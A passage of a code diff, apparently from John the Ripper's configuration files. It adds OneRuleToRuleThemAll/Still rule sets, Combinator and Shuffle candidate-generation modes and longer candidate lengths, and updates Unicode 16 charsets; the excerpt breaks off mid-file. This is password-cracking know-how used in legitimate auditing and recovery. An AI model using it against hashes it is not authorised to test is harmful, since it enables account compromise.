@@ -1197,6 +1289,24 @@ a0 /?D l sa2 sb2 sc2 sd3 se3 sf3 sg4 sh4 si4 sj5 sk5 sl5 sm6 sn6 so6 sp7 sq7 sr7
 [List.Rules:passphrase-rule2]
 .include <rules/passphrase-rule2.rule>
 
+# These rules are an optimized (large) subset of the hashcat rules
+# https://notsosecure.com/one-rule-to-rule-them-all
+# https://github.com/NotSoSecure/password_cracking_rules
+[List.Rules:OneRuleToRuleThemAll]
+!! hashcat logic ON
+.include <rules/OneRuleToRuleThemAll.rule>
+!! hashcat logic OFF
+
+# These rules are an optimized version of OneRuleToRuleThemAll with removal of
+# rules that were effectively duplicate as well as some that were ineffective.
+# This cracks almost all of the same passwords in ~5% fewer rules.
+# https://in.security/2023/01/10/oneruletorulethemstill-new-and-improved/
+# https://github.com/stealthsploit/OneRuleToRuleThemStill
+[List.Rules:OneRuleToRuleThemStill]
+!! hashcat logic ON
+.include <rules/OneRuleToRuleThemStill.rule>
+!! hashcat logic OFF
+
 # Default Loopback mode rules.
 [List.Rules:Loopback]
 .include [List.Rules:ShiftToggle]
@@ -1219,8 +1329,7 @@ b1 ]
 # For Wordlist mode and very fast hashes
 [List.Rules:Jumbo]
 .include [List.Rules:Single-Extra]
-.include [List.Rules:Wordlist]
-.include [List.Rules:ShiftToggle]
+.include [List.Rules:Policy]
 .include [List.Rules:Multiword]
 .include [List.Rules:best64]
 .include [List.Rules:UnicodeSubstitution]
@@ -1233,9 +1342,12 @@ b1 ]
 # ridiculous quality and lack optimizations - you have been warned.
 [List.Rules:All]
 .include [List.Rules:Jumbo]
-.include [List.Rules:KoreLogic]
+.include [List.Rules:OneRuleToRuleThemStill]
 .include [List.Rules:T9]
 .include [List.Rules:hashcat]
+.include [List.Rules:ShiftToggle]
+.include [List.Rules:oi]
+.include [List.Rules:KoreLogic]
 
 # Incremental modes
 
@@ -1717,9 +1829,9 @@ void restore()
 
 /* Global variables: current length and word */
 /* make this 'long' enough for other externs that include this one */
-/* (up to 125 bytes long) */
+/* (up to 320 bytes long) */
 
-int length, current[126], max;
+int length, current[320], max;
 
 /* this new 'type' variable, is used to tell double what character set to
  * use. It can use the original (alpha).  If type is 0 (i.e. unset), then
@@ -1872,7 +1984,7 @@ void init()
 # sections which include this External_base section.
 # The generate() function will limit the maximum length of generated
 # candidates to either the format's limit (maximum password length)
-# or to the limit specified with --stdout=LENGTH (Default: 125),
+# or to the limit specified with --stdout=LENGTH (Default: 319),
 # thus avoiding duplicate candidates for formats with limited maximum
 # passwortd length.
 # The comparison of the current length and the limit is only done
@@ -1898,7 +2010,7 @@ void generate()
 	c = minc;
 
 	if (++length > maxlength)
-		c = 0; // Will NUL out the next "word" and thus terminate
+		length = 0; // Will NUL out the next "word" and thus terminate
 }
 
 # Try strings of repeated characters (range: space - 0xff).
@@ -1982,7 +2094,7 @@ void init()
 #
 # The generate() function will limit the maximum length of generated
 # candidates to either the format's limit (maximum password length)
-# or to the limit specified with --stdout=LENGTH (Default: 125),
+# or to the limit specified with --stdout=LENGTH (Default: 319),
 # thus avoiding duplicate candidates for formats with limited maximum
 # passwortd length.
 # The comparison of the current length and the limit is only done
@@ -2487,6 +2599,12 @@ void init()
 		}
 	}
 
+	// Must fit in id[] array
+	if (minlength > 15)
+		minlength = 15;
+	if (maxlength > 15)
+		maxlength = 15;
+
 	length = 0;
 	while (length < minlength)
 		id[length++] = 0;
@@ -3791,94 +3909,232 @@ void filter()
 	status = 1;			// Print the status line
 }
 
-#
-# Reference example hybrid-mode external. same as jtr-rule: $[0-9]$[0-9]
-# this format is to be used similar to a filter, in that it requires some
-# other word generator (markov, wordlist, etc).  However, this type external
-# will get new() called with each word, and then have next() called, until
-# the word[0]=0 is seen (meaning all candidates for the base word have been
-# generated.  Prior to new() or restore(), word[] is the 'base' word.
-# if the script is able to properly resume, then it should set the global
-# variable hybrid_total to the count of candidates that will be generated
-# for this word (in new() / restore(), then in the body of restore() there
-# is a global variable set 'hybrid_resume' that was the prior number of
-# canidates generated for this base-word.  Resume should start at the NEXT
-# If the script is not able to easily resume, then simply do NOT set the
-# global hybrid_total to anything either function.  JtR will 'still' resume
-# propery, but it will do so by calling new()/next()/next().../next() until
-# back to the proper resume location.
-#
-# script changed to append a _ character before the number, each time within
-# the next() function. Done this way to better validate that -restore within
-# jtr is working properly.
-#
-[List.External:Hybrid_example]
-/* static vars for the script */
-int cnt, length, total;
+# Several hybrid external modes follow.  These are to be used on top of another
+# cracking mode and they generate multiple candidate passwords from each "word"
+# output by the other mode.
+
+# Combine words coming from another cracking mode into pairs.  This gradually
+# memorizes up to the initial 1 MB worth of words and uses them to prefix and
+# suffix each current word.
+# Known limitations:
+# 1. --restore of interrupted session does not work right (no opportunity to
+# re-memorize the other mode's skipped words), so do not use it.
+# 2. The progress indicator and ETA are too optimistic (they assume linear
+# progress through the input stream, but complexity within 1 MB is quadratic).
+# Example usage: --wordlist --external=combinator --rules-stack=phrase
+[List.External:Combinator]
+int separator;
+int words[1000000], size;
+int base[160], base_size, base_length, swap, p, q;
 
 void init()
 {
-	/* in this simple example, we always generate 100 candidates per word */
-	total = 100;/* this is a VERY simple example */
+	separator = ' '; // Set to 0 for no separators
+
+	size = 1000000; // Must not exceed size of words array
+	base_size = 160; // Must not exceed size of base array, nor (319-1)/2+1
+
+	if (req_maxlen && base_size > req_maxlen + 1)
+		base_size = req_maxlen + 1;
+	q = 0;
 }
 
-/* new word */
 void new()
 {
-	/* get the word length) */
-	length = 0; while (word[length++]) ; --length;
+	swap = p = 0;
 
-	/*
-	 * If this was a more complex script, we would compute total candidates
-	 * at this location, if we can. If we can not compute total candidates
-	 * then it is likely we can not resume 'easily', so if that is the
-	 * case, we would simply set hybrid_total to -1, or do nothing, since
-	 * do_external_hybrid_crack() sets it to -1 before calling this function.
-	 */
-	 hybrid_total = total;
+/* Memorize this base word if it fits and is of right length */
+	base_length = -1;
+	while (q < size && (words[q++] = word[++base_length]))
+		continue;
+	if (q < size && base_length < base_size && base_length)
+		return;
 
-	/* Reset or counter for THIS word. */
-	cnt = 0;
-
-	/*
-	 * word will be too long to be used, or too short to be used. If so
-	 * then set hybrid_total to 0 and this entire word will be skipped.
-	 */
-	if (req_minlen > length - 2 || (req_maxlen && req_maxlen < length + 2))
-		hybrid_total = 0;
+/* Don't memorize this base word, but finish computing its length */
+	q -= base_length + 1;
+	if (word[base_length])
+		while (word[++base_length])
+			continue;
+	else if (!base_length)
+		base_length = base_size; // Skip empty words
 }
 
 void next()
 {
-	/* in this simple script, if cnt is 100, this word is DONE */
-	if (cnt == 100) {
-		word[0] = 0;
+	int i, j;
+
+	if (base_length >= base_size) {
+		word = 0;
 		return;
 	}
 
-	/* set word[] to the next candidate */
-	word[length++] = '_';
-	word[length  ] = '0' + cnt / 10;
-	word[length+1] = '0' + cnt % 10;
-	word[length+2] = 0;
-	++cnt;
+	if (swap) {
+/* Next memorized word first, separator and current base word next */
+		i = -1;
+		while (word[++i] = words[p++])
+			continue;
+		if (p >= q) {
+			word = 0;
+			return;
+		}
+		if (separator)
+			word[i++] = separator;
+		j = 0;
+		while (word[i++] = base[j++])
+			continue;
+		return;
+	}
+
+/* Current base word first, separator and next memorized word next */
+	i = base_length;
+	if (separator)
+		word[i++] = separator;
+	while (word[i++] = words[p++])
+		continue;
+	if (p >= q) {
+		p = 0;
+		swap++;
+		i = -1;
+		while (++i < base_length)
+			base[i] = word[i];
+		base[i] = 0;
+	}
 }
 
-/* Called when restoring an interrupted session */
-void restore()
+# Shuffle (try all permutations of) characters in each short input word
+[List.External:Shuffle]
+int max_length, ctz_bits, ctz_mask, ctz[0x80000]; // Max 0xa00000 for length 20
+int length, base[0x20], id[0x20], unseen[0x20], is_dup[0x100], c2mask[0x100];
+
+void init()
 {
-	int i;
+	max_length = 10; // ctz array size of 0x80000 is good up to length 16
 
-	length = 0; while (word[length++]) ; --length;
-
-	/* for this simple script, simply setting cnt resumes */
-	cnt = hybrid_resume + 1; if (cnt > 100) cnt=100;
+	/* Prepare a count trailing zero table */
+	int i, j, mask;
+	ctz_mask = (1 << (ctz_bits = max_length - 1)) - 1;
 	i = 0;
-	while (i++ < cnt) word[length++] = '_';
-	word[length] = 0;
+	while (i++ < ctz_bits) {
+		j = 0;
+		while (j <= ctz_mask)
+			j += 1 << (ctz[j] = i);
+	}
+	/* followed by its revisions for skipping some bits */
+	while ((i = j >> ctz_bits) < max_length) {
+		mask = j & ctz_mask;
+		while (i--)
+			mask &= mask - 1;
+		ctz[j++] = ctz[mask];
+	}
+}
 
-	/* tell john that we have properly 'resumed', by setting a 'proper' total */
-	hybrid_total = total;
+void new()
+{
+	int c, i;
+
+	length = i = -1;
+	while (c = word[++length]) {
+		if (length > max_length)
+			return;
+		c2mask[base[length] = c] = id[length] = 0;
+	}
+	while (c = word[++i]) {
+		is_dup[c] = c2mask[c];
+		c2mask[c] |= 1 << i;
+	}
+
+	unseen = 0;
+}
+
+void next()
+{
+	int prev_unseen, i, j;
+
+	if ((i = length - 1) < max_length)
+	while (i--) {
+		if (++id[i] >= length - i) {
+			id[i] = 0;
+			continue;
+		}
+
+		if (unseen)
+			prev_unseen = unseen[i];
+		else
+			unseen[i = 0] = prev_unseen = ctz_mask;
+		while (i < length) {
+			/* Skip id[i] previously unseen char indices */
+			/* Take that char and see if it's unique */
+			if (is_dup[word[i] = base[j = ctz[prev_unseen | (id[i] << ctz_bits)]]])
+				if (c2mask[word[i]] & prev_unseen & ((1 << j) - 1))
+					break; /* Dupe in wrong order */
+			unseen[++i] = prev_unseen &= ~(1 << j);
+		}
+
+		if (i >= length) /* Not a dupe */
+			return;
+
+		/* Next loop ++id[i] will skip the dupe char in i's position */
+		i++;
+	}
+
+	word = 0;
+}
+
+# Simplified or reference version of the above, same output much slower
+[List.External:Shuffle-simple]
+int max_length, length, base[320], id[320], jd[320];
+
+void init()
+{
+	max_length = 10; // Our usage of bitmasks is good up to length 32
+}
+
+void new()
+{
+	length = 0;
+	while (base[length] = word[length])
+		id[length++] = 0;
+}
+
+void next()
+{
+	int unseen, i, j, k;
+
+	if ((i = length) <= max_length)
+	while (i--) {
+		if (++id[i] >= length - i) {
+			id[i] = 0;
+			continue;
+		}
+
+		i = unseen = -1;
+		while (++i < length) {
+			/* Skip id[i] previously unseen char indices, count */
+			j = -1;
+			k = id[i];
+			while (k >= 0)
+				if (unseen & (1 << ++j))
+					k--;
+			/* Take that char */
+			word[k = i] = base[jd[i] = j];
+			/* Same chars must only appear in one order */
+			while (k--)
+				if (word[k] == word[i])
+					break;
+			if (k >= 0)
+				if (jd[k] >= j) /* Wrong order */
+					break;
+			unseen &= ~(1 << j);
+		}
+
+		if (i >= length) /* Not a dupe */
+			return;
+
+		/* Next loop ++id[i] will skip the dupe char in i's position */
+		i++;
+	}
+
+	word = 0;
 }
 
 # External hybrid 'leet code
@@ -3896,11 +4152,11 @@ void restore()
  *   t -> t7
  */
 
-int rotor[626]; /* max length input is 125 bytes [125*5+1]; */
-int rotors[125];
-int rotor_ptr[125];
-int rotor_idx[125];
-int rotor_cnt[125];
+int rotor[1596]; /* max length input is 319 bytes [319*5+1] */
+int rotors[319];
+int rotor_ptr[319];
+int rotor_idx[319];
+int rotor_cnt[319];
 int current_word_count;
 int max_mangle; /* controls how many bytes we run through our 'leet' code */
 int max_mangle_letters;
@@ -4011,11 +4267,11 @@ void next()
 # Shared base code for External hybrid CaSE and Wordcase mutation code
 [List.External_base:Case]
 
-int rotor[251]; /* max length input is 125 bytes [125*5+1]; */
-int rotors[125];
-int rotor_ptr[125];
-int rotor_idx[125];
-int rotor_cnt[125];
+int rotor[639]; /* max length input is 319 bytes [319*2+1] */
+int rotors[319];
+int rotor_ptr[319];
+int rotor_idx[319];
+int rotor_cnt[319];
 int current_word_count;
 int max_mangle; /* controls how many bytes we run through our 'leet' code */
 int original_word; /* if set to 1 then we start with original word. If 0, then start with first mangled word */

data/jtr/repeats16.conf

@@ -1,11 +1,11 @@
-# This software is Copyright (c) 2012-2020 magnum, and it is hereby
+# This software is Copyright (c) 2012-2024 magnum, and it is hereby
 # released to the general public under the following terms:
 # Redistribution and use in source and binary forms, with or without
 # modification, are permitted.
 #
-# Try strings of repeated characters, Unicode (version 13) BMP version
+# Try strings of repeated characters, Unicode (version 16) BMP version
 #
-# Number of candidates = 55,387 x max-length
+# Number of candidates = 55,537 x max-length
 #
 # Note that these modes will handle --max-len differently than normal: They
 # will consider number of characters as opposed to number of bytes. This
@@ -18,7 +18,7 @@
 
 [List.External:Repeats16]
 int minlength, maxlength, maxc, length, c;
-int charset[0x10000];
+int charset[0xd900];
 
 void init()
 {
@@ -39,7 +39,7 @@ void init()
 
 /*
  * This defines the character set. This is auto-generated from UnicodeData.txt
- * and we skip control characters.
+ * of Unicode 16.0.0 and we skip control characters.
  */
 	i = 0;
 // 0000..007F; Basic Latin
@@ -115,9 +115,6 @@ void init()
 		charset[i++] = c++;
 // 0600..06FF; Arabic
 	c = 0x600;		// from ARABIC NUMBER SIGN
-	while (c <= 0x61c)	// ..to ARABIC LETTER MARK
-		charset[i++] = c++;
-	c = 0x61e;		// from ARABIC TRIPLE DOT PUNCTUATION MARK
 	while (c <= 0x6ff)	// ..to ARABIC LETTER HEH WITH INVERTED V
 		charset[i++] = c++;
 // 0700..074F; Syriac
@@ -159,14 +156,17 @@ void init()
 	c = 0x860;		// from SYRIAC LETTER MALAYALAM NGA
 	while (c <= 0x86a)	// ..to SYRIAC LETTER MALAYALAM SSA
 		charset[i++] = c++;
+// 0870..089F; Arabic Extended-B
+	c = 0x870;		// from ARABIC LETTER ALEF WITH ATTACHED FATHA
+	while (c <= 0x88e)	// ..to ARABIC VERTICAL TAIL
+		charset[i++] = c++;
+	charset[i++] = 0x890;	// ARABIC POUND MARK ABOVE
+	charset[i++] = 0x891;	// ARABIC PIASTRE MARK ABOVE
+	c = 0x897;		// from ARABIC PEPET
+	while (c <= 0x89f)	// ..to ARABIC HALF MADDA OVER MADDA
+		charset[i++] = c++;
 // 08A0..08FF; Arabic Extended-A
 	c = 0x8a0;		// from ARABIC LETTER BEH WITH SMALL V BELOW
-	while (c <= 0x8b4)	// ..to ARABIC LETTER KAF WITH DOT BELOW
-		charset[i++] = c++;
-	c = 0x8b6;		// from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
-	while (c <= 0x8c7)	// ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
-		charset[i++] = c++;
-	c = 0x8d3;		// from ARABIC SMALL LOW WAW
 	while (c <= 0x8ff)	// ..to ARABIC MARK SIDEWAYS NOON GHUNNA
 		charset[i++] = c++;
 // 0900..097F; Devanagari
@@ -356,7 +356,7 @@ void init()
 	c = 0xc2a;		// from TELUGU LETTER PA
 	while (c <= 0xc39)	// ..to TELUGU LETTER HA
 		charset[i++] = c++;
-	c = 0xc3d;		// from TELUGU SIGN AVAGRAHA
+	c = 0xc3c;		// from TELUGU SIGN NUKTA
 	while (c <= 0xc44)	// ..to TELUGU VOWEL SIGN VOCALIC RR
 		charset[i++] = c++;
 	charset[i++] = 0xc46;	// TELUGU VOWEL SIGN E
@@ -402,6 +402,8 @@ void init()
 		charset[i++] = c++;
 	charset[i++] = 0xcd5;	// KANNADA LENGTH MARK
 	charset[i++] = 0xcd6;	// KANNADA AI LENGTH MARK
+	charset[i++] = 0xcdd;	// KANNADA LETTER NAKAARA POLLU
+	charset[i++] = 0xcde;	// KANNADA LETTER FA
 	c = 0xce0;		// from KANNADA LETTER VOCALIC RR
 	while (c <= 0xce3)	// ..to KANNADA VOWEL SIGN VOCALIC LL
 		charset[i++] = c++;
@@ -409,7 +411,7 @@ void init()
 	while (c <= 0xcef)	// ..to KANNADA DIGIT NINE
 		charset[i++] = c++;
 	charset[i++] = 0xcf1;	// KANNADA SIGN JIHVAMULIYA
-	charset[i++] = 0xcf2;	// KANNADA SIGN UPADHMANIYA
+	charset[i++] = 0xcf3;	// KANNADA SIGN COMBINING ANUSVARA ABOVE RIGHT
 // 0D00..0D7F; Malayalam
 	c = 0xd00;		// from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
 	while (c <= 0xd0c)	// ..to MALAYALAM LETTER VOCALIC L
@@ -479,7 +481,7 @@ void init()
 	while (c <= 0xec4)	// ..to LAO VOWEL SIGN AI
 		charset[i++] = c++;
 	c = 0xec8;		// from LAO TONE MAI EK
-	while (c <= 0xecd)	// ..to LAO NIGGAHITA
+	while (c <= 0xece)	// ..to LAO YAMAKKAN
 		charset[i++] = c++;
 	c = 0xed0;		// from LAO DIGIT ZERO
 	while (c <= 0xed9)	// ..to LAO DIGIT NINE
@@ -592,11 +594,9 @@ void init()
 		charset[i++] = c++;
 // 1700..171F; Tagalog
 	c = 0x1700;		// from TAGALOG LETTER A
-	while (c <= 0x170c)	// ..to TAGALOG LETTER YA
-		charset[i++] = c++;
-	c = 0x170e;		// from TAGALOG LETTER LA
-	while (c <= 0x1714)	// ..to TAGALOG SIGN VIRAMA
+	while (c <= 0x1715)	// ..to TAGALOG SIGN PAMUDPOD
 		charset[i++] = c++;
+	charset[i++] = 0x171f;	// TAGALOG LETTER ARCHAIC RA
 // 1720..173F; Hanunoo
 	c = 0x1720;		// from HANUNOO LETTER A
 	while (c <= 0x1736)	// ..to PHILIPPINE DOUBLE PUNCTUATION
@@ -625,9 +625,6 @@ void init()
 		charset[i++] = c++;
 // 1800..18AF; Mongolian
 	c = 0x1800;		// from MONGOLIAN BIRGA
-	while (c <= 0x180e)	// ..to MONGOLIAN VOWEL SEPARATOR
-		charset[i++] = c++;
-	c = 0x1810;		// from MONGOLIAN DIGIT ZERO
 	while (c <= 0x1819)	// ..to MONGOLIAN DIGIT NINE
 		charset[i++] = c++;
 	c = 0x1820;		// from MONGOLIAN LETTER A
@@ -700,14 +697,14 @@ void init()
 		charset[i++] = c++;
 // 1AB0..1AFF; Combining Diacritical Marks Extended
 	c = 0x1ab0;		// from COMBINING DOUBLED CIRCUMFLEX ACCENT
-	while (c <= 0x1ac0)	// ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
+	while (c <= 0x1ace)	// ..to COMBINING LATIN SMALL LETTER INSULAR T
 		charset[i++] = c++;
 // 1B00..1B7F; Balinese
 	c = 0x1b00;		// from BALINESE SIGN ULU RICEM
-	while (c <= 0x1b4b)	// ..to BALINESE LETTER ASYURA SASAK
+	while (c <= 0x1b4c)	// ..to BALINESE LETTER ARCHAIC JNYA
 		charset[i++] = c++;
-	c = 0x1b50;		// from BALINESE DIGIT ZERO
-	while (c <= 0x1b7c)	// ..to BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
+	c = 0x1b4e;		// from BALINESE INVERTED CARIK SIKI
+	while (c <= 0x1b7f)	// ..to BALINESE PANTI BAWAK
 		charset[i++] = c++;
 // 1B80..1BBF; Sundanese
 	c = 0x1b80;		// from SUNDANESE SIGN PANYECEK
@@ -735,7 +732,7 @@ void init()
 		charset[i++] = c++;
 // 1C80..1C8F; Cyrillic Extended-C
 	c = 0x1c80;		// from CYRILLIC SMALL LETTER ROUNDED VE
-	while (c <= 0x1c88)	// ..to CYRILLIC SMALL LETTER UNBLENDED UK
+	while (c <= 0x1c8a)	// ..to CYRILLIC SMALL LETTER TJE
 		charset[i++] = c++;
 // 1C90..1CBF; Georgian Extended
 	c = 0x1c90;		// from GEORGIAN MTAVRULI CAPITAL LETTER AN
@@ -761,9 +758,6 @@ void init()
 		charset[i++] = c++;
 // 1DC0..1DFF; Combining Diacritical Marks Supplement
 	c = 0x1dc0;		// from COMBINING DOTTED GRAVE ACCENT
-	while (c <= 0x1df9)	// ..to COMBINING WIDE INVERTED BRIDGE BELOW
-		charset[i++] = c++;
-	c = 0x1dfb;		// from COMBINING DELETION MARK
 	while (c <= 0x1dff)	// ..to COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 		charset[i++] = c++;
 // 1E00..1EFF; Latin Extended Additional
@@ -827,7 +821,7 @@ void init()
 		charset[i++] = c++;
 // 20A0..20CF; Currency Symbols
 	c = 0x20a0;		// from EURO-CURRENCY SIGN
-	while (c <= 0x20bf)	// ..to BITCOIN SIGN
+	while (c <= 0x20c0)	// ..to SOM SIGN
 		charset[i++] = c++;
 // 20D0..20FF; Combining Diacritical Marks for Symbols
 	c = 0x20d0;		// from COMBINING LEFT HARPOON ABOVE
@@ -855,7 +849,7 @@ void init()
 		charset[i++] = c++;
 // 2400..243F; Control Pictures
 	c = 0x2400;		// from SYMBOL FOR NULL
-	while (c <= 0x2426)	// ..to SYMBOL FOR SUBSTITUTE FORM TWO
+	while (c <= 0x2429)	// ..to SYMBOL FOR DELETE MEDIUM SHADE FORM
 		charset[i++] = c++;
 // 2440..245F; Optical Character Recognition
 	c = 0x2440;		// from OCR HOOK
@@ -921,10 +915,7 @@ void init()
 		charset[i++] = c++;
 // 2C00..2C5F; Glagolitic
 	c = 0x2c00;		// from GLAGOLITIC CAPITAL LETTER AZU
-	while (c <= 0x2c2e)	// ..to GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
-		charset[i++] = c++;
-	c = 0x2c30;		// from GLAGOLITIC SMALL LETTER AZU
-	while (c <= 0x2c5e)	// ..to GLAGOLITIC SMALL LETTER LATINATE MYSLITE
+	while (c <= 0x2c5f)	// ..to GLAGOLITIC SMALL LETTER CAUDATE CHRIVI
 		charset[i++] = c++;
 // 2C60..2C7F; Latin Extended-C
 	c = 0x2c60;		// from LATIN CAPITAL LETTER L WITH DOUBLE BAR
@@ -985,7 +976,7 @@ void init()
 		charset[i++] = c++;
 // 2E00..2E7F; Supplemental Punctuation
 	c = 0x2e00;		// from RIGHT ANGLE SUBSTITUTION MARKER
-	while (c <= 0x2e52)	// ..to TIRONIAN SIGN CAPITAL ET
+	while (c <= 0x2e5d)	// ..to OBLIQUE HYPHEN
 		charset[i++] = c++;
 // 2E80..2EFF; CJK Radicals Supplement
 	c = 0x2e80;		// from CJK RADICAL REPEAT
@@ -1000,7 +991,7 @@ void init()
 		charset[i++] = c++;
 // 2FF0..2FFF; Ideographic Description Characters
 	c = 0x2ff0;		// from IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT
-	while (c <= 0x2ffb)	// ..to IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
+	while (c <= 0x2fff)	// ..to IDEOGRAPHIC DESCRIPTION CHARACTER ROTATION
 		charset[i++] = c++;
 // 3000..303F; CJK Symbols and Punctuation
 	c = 0x3000;		// from IDEOGRAPHIC SPACE
@@ -1035,8 +1026,9 @@ void init()
 		charset[i++] = c++;
 // 31C0..31EF; CJK Strokes
 	c = 0x31c0;		// from CJK STROKE T
-	while (c <= 0x31e3)	// ..to CJK STROKE Q
+	while (c <= 0x31e5)	// ..to CJK STROKE SZP
 		charset[i++] = c++;
+	charset[i++] = 0x31ef;	// IDEOGRAPHIC DESCRIPTION CHARACTER SUBTRACTION
 // 31F0..31FF; Katakana Phonetic Extensions
 	c = 0x31f0;		// from KATAKANA LETTER SMALL KU
 	while (c <= 0x31ff)	// ..to KATAKANA LETTER SMALL RO
@@ -1062,7 +1054,7 @@ void init()
 		charset[i++] = c++;
 // 4E00..9FFF; CJK Unified Ideographs
 	c = 0x4e00;		// from <CJK Ideograph, First>
-	while (c <= 0x9ffc)	// ..to <CJK Ideograph, Last>
+	while (c <= 0x9fff)	// ..to <CJK Ideograph, Last>
 		charset[i++] = c++;
 // A000..A48F; Yi Syllables
 	c = 0xa000;		// from YI SYLLABLE IT
@@ -1094,12 +1086,14 @@ void init()
 		charset[i++] = c++;
 // A720..A7FF; Latin Extended-D
 	c = 0xa720;		// from MODIFIER LETTER STRESS AND HIGH TONE
-	while (c <= 0xa7bf)	// ..to LATIN SMALL LETTER GLOTTAL U
+	while (c <= 0xa7cd)	// ..to LATIN SMALL LETTER S WITH DIAGONAL STROKE
 		charset[i++] = c++;
-	c = 0xa7c2;		// from LATIN CAPITAL LETTER ANGLICANA W
-	while (c <= 0xa7ca)	// ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
+	charset[i++] = 0xa7d0;	// LATIN CAPITAL LETTER CLOSED INSULAR G
+	charset[i++] = 0xa7d1;	// LATIN SMALL LETTER CLOSED INSULAR G
+	c = 0xa7d5;		// from LATIN SMALL LETTER DOUBLE WYNN
+	while (c <= 0xa7dc)	// ..to LATIN CAPITAL LETTER LAMBDA WITH STROKE
 		charset[i++] = c++;
-	c = 0xa7f5;		// from LATIN CAPITAL LETTER REVERSED HALF H
+	c = 0xa7f2;		// from MODIFIER LETTER CAPITAL C
 	while (c <= 0xa7ff)	// ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
 		charset[i++] = c++;
 // A800..A82F; Syloti Nagri
@@ -1254,19 +1248,16 @@ void init()
 		charset[i++] = c++;
 // FB50..FDFF; Arabic Presentation Forms-A
 	c = 0xfb50;		// from ARABIC LETTER ALEF WASLA ISOLATED FORM
-	while (c <= 0xfbc1)	// ..to ARABIC SYMBOL SMALL TAH BELOW
+	while (c <= 0xfbc2)	// ..to ARABIC SYMBOL WASLA ABOVE
 		charset[i++] = c++;
 	c = 0xfbd3;		// from ARABIC LETTER NG ISOLATED FORM
-	while (c <= 0xfd3f)	// ..to ORNATE RIGHT PARENTHESIS
-		charset[i++] = c++;
-	c = 0xfd50;		// from ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM
 	while (c <= 0xfd8f)	// ..to ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
 		charset[i++] = c++;
 	c = 0xfd92;		// from ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM
 	while (c <= 0xfdc7)	// ..to ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
 		charset[i++] = c++;
 	c = 0xfdf0;		// from ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM
-	while (c <= 0xfdfd)	// ..to ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
+	while (c <= 0xfdff)	// ..to ARABIC LIGATURE AZZA WA JALL
 		charset[i++] = c++;
 // FE00..FE0F; Variation Selectors
 	c = 0xfe00;		// from VARIATION SELECTOR-1

data/jtr/repeats32.conf

@@ -1,11 +1,11 @@
-# This software is Copyright (c) 2012-2020 magnum, and it is hereby
+# This software is Copyright (c) 2012-2024 magnum, and it is hereby
 # released to the general public under the following terms:
 # Redistribution and use in source and binary forms, with or without
 # modification, are permitted.
 #
-# Try strings of repeated characters, Full Unicode (version 13) version
+# Try strings of repeated characters, Full Unicode (version 16) version
 #
-# Number of candidates = 143,532 x length
+# Number of candidates = 154,663 x length
 #
 # Note that these modes will handle --max-len differently than normal: They
 # will consider number of characters as opposed to number of bytes. This
@@ -23,7 +23,7 @@
 
 [List.External:Repeats32]
 int minlength, maxlength, maxc, length, c;
-int charset[0x24000];
+int charset[0x25c30];
 
 void init()
 {
@@ -44,7 +44,7 @@ void init()
 
 /*
  * This defines the character set. This is auto-generated from UnicodeData.txt
- * and we skip control characters.
+ * of Unicode 16.0.0 and we skip control characters.
  */
 	i = 0;
 // 0000..007F; Basic Latin
@@ -120,9 +120,6 @@ void init()
 		charset[i++] = c++;
 // 0600..06FF; Arabic
 	c = 0x600;		// from ARABIC NUMBER SIGN
-	while (c <= 0x61c)	// ..to ARABIC LETTER MARK
-		charset[i++] = c++;
-	c = 0x61e;		// from ARABIC TRIPLE DOT PUNCTUATION MARK
 	while (c <= 0x6ff)	// ..to ARABIC LETTER HEH WITH INVERTED V
 		charset[i++] = c++;
 // 0700..074F; Syriac
@@ -164,14 +161,17 @@ void init()
 	c = 0x860;		// from SYRIAC LETTER MALAYALAM NGA
 	while (c <= 0x86a)	// ..to SYRIAC LETTER MALAYALAM SSA
 		charset[i++] = c++;
+// 0870..089F; Arabic Extended-B
+	c = 0x870;		// from ARABIC LETTER ALEF WITH ATTACHED FATHA
+	while (c <= 0x88e)	// ..to ARABIC VERTICAL TAIL
+		charset[i++] = c++;
+	charset[i++] = 0x890;	// ARABIC POUND MARK ABOVE
+	charset[i++] = 0x891;	// ARABIC PIASTRE MARK ABOVE
+	c = 0x897;		// from ARABIC PEPET
+	while (c <= 0x89f)	// ..to ARABIC HALF MADDA OVER MADDA
+		charset[i++] = c++;
 // 08A0..08FF; Arabic Extended-A
 	c = 0x8a0;		// from ARABIC LETTER BEH WITH SMALL V BELOW
-	while (c <= 0x8b4)	// ..to ARABIC LETTER KAF WITH DOT BELOW
-		charset[i++] = c++;
-	c = 0x8b6;		// from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
-	while (c <= 0x8c7)	// ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
-		charset[i++] = c++;
-	c = 0x8d3;		// from ARABIC SMALL LOW WAW
 	while (c <= 0x8ff)	// ..to ARABIC MARK SIDEWAYS NOON GHUNNA
 		charset[i++] = c++;
 // 0900..097F; Devanagari
@@ -361,7 +361,7 @@ void init()
 	c = 0xc2a;		// from TELUGU LETTER PA
 	while (c <= 0xc39)	// ..to TELUGU LETTER HA
 		charset[i++] = c++;
-	c = 0xc3d;		// from TELUGU SIGN AVAGRAHA
+	c = 0xc3c;		// from TELUGU SIGN NUKTA
 	while (c <= 0xc44)	// ..to TELUGU VOWEL SIGN VOCALIC RR
 		charset[i++] = c++;
 	charset[i++] = 0xc46;	// TELUGU VOWEL SIGN E
@@ -407,6 +407,8 @@ void init()
 		charset[i++] = c++;
 	charset[i++] = 0xcd5;	// KANNADA LENGTH MARK
 	charset[i++] = 0xcd6;	// KANNADA AI LENGTH MARK
+	charset[i++] = 0xcdd;	// KANNADA LETTER NAKAARA POLLU
